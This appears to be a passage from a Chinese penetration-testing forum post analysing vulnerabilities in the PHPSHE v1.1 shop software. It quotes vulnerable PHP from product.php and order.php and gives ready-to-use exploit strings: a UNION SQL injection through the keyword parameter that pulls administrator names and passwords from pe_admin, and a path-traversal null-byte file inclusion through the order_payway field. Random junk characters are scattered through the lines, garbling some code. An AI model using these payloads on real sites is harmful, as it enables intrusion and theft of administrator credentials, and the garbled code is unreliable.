& g3 v4 n. [/ E, z/ \
0×02 搜索注入3 k( a+ ` J. N0 y5 S
<code id="code2">
//product.php文件) P& |3 X9 |8 P) I1 p* A
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));. Q, Q0 G. z4 j0 t0 s" Z/ t5 h
//搜索2 K% u' x7 l! r
$sqlwhere = " and `product_state` = 1";' }5 \ B# p7 l ~
pe_lead('hook/category.hook.php');% [! O- P ]# A6 c+ N
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";* g* Q, T: }) Y$ n& E" Q t
}3 \' ?( y$ x$ z1 n
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);$ G! _3 Y! x7 Y/ N3 d3 O) [
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}/ I( t) q4 n* d& W1 s% Y I) w. ]
else {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));0 ?2 u) E6 l6 r) v; a4 O
//热卖排行! ^$ r% V2 {( _9 r
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);- D G/ B" f5 G' k9 L) Z' o
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{* ^) L$ [3 ?3 r# b! [7 A- \
//处理条件语句. y5 N# w) }* d
$sqlwhere = $this->_dowhere($where);) K- y' V* W( V0 n* V% i& Z6 S
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='14 i( G, a5 O% Q( X
</code>: Y$ K1 ] o) u( |$ y+ C( E3 ?
" A; B1 f$ [ L7 j0 T+ A$ K4 W& c
0×03 包含漏洞2$ O! F2 N ?% B- c& _4 c6 k% y
<code id="code3">
//order.php
case 'pay':
$order_id = pe_dbhold($_g_id);
$cache_payway = cache::get('payway');
foreach($cache_payway as $k => $v) {
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);
if ($k == 'bank') {
& \. G2 b5 ?9 s& ~0 { N5 W
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);
' t+ b2 l* Y7 ]! c: y
}
}
0 N& Z8 `; }& x: B" ~% n' F
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));
9 i, A: s) Q4 ?" Z+ @1 s2 Q
!$order['order_id'] && pe_error('订单号错误...');
# [3 L+ |& D( ]# U# D, A
if (isset($_p_pesubmit)) {
+ b# s" z5 C4 d- Y( M, a/ A
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {
) e9 M9 v* M2 ~" A0 ?" k% q5 z
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
foreach ($info_list as $v) {
$order['order_name'] .= "{$v['product_name']};";
}
9 ^/ l( R2 C( {
echo '正在为您连接支付网站,请稍后...';
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");
}//当一切准备好的时候就可以进行"鸡肋包含了"
else {
pe_error('支付错误...');
8 q4 h9 A8 J% }3 Z$ y0 u+ ^
}
5 N& H; V ?& B4 N
}
- P" t) f: Q' S5 u- ]' m
$seo = pe_seo('选择支付方式');
include(pe_tpl('order_pay.html'));
break;
}
//exp:
//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001
//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code># G0 Z2 D# t; W8 X5 ?
| 欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |